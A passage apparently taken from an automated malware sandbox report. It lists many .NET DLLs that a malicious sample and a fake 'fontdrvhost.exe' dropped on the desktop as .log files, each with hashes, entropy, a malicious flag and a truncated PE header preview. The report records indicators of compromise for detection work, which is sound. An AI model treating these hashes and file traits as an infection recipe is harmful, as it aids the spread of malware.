Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\kUpuTdpn.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\kdNuDPIk.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lCADkPID.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lHCvjEeO.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\lThKWNPp.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ldamqVhj.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\mCNvXUiC.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\mJblSiJK.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\maCuLVwe.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\mbeUnBPt.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\msUTDNPI.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\nHlSHaLn.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\nJodFojJ.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\nJvbxzCb.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ntFcgnCN.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\oQWKeSDj.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\oTDkKMId.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ouGCZwUD.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\pJXAdKPi.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\pMKkuPam.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\phJkSByL.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\piqUgtXk.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\pntLeisv.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\pzYaRqdW.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
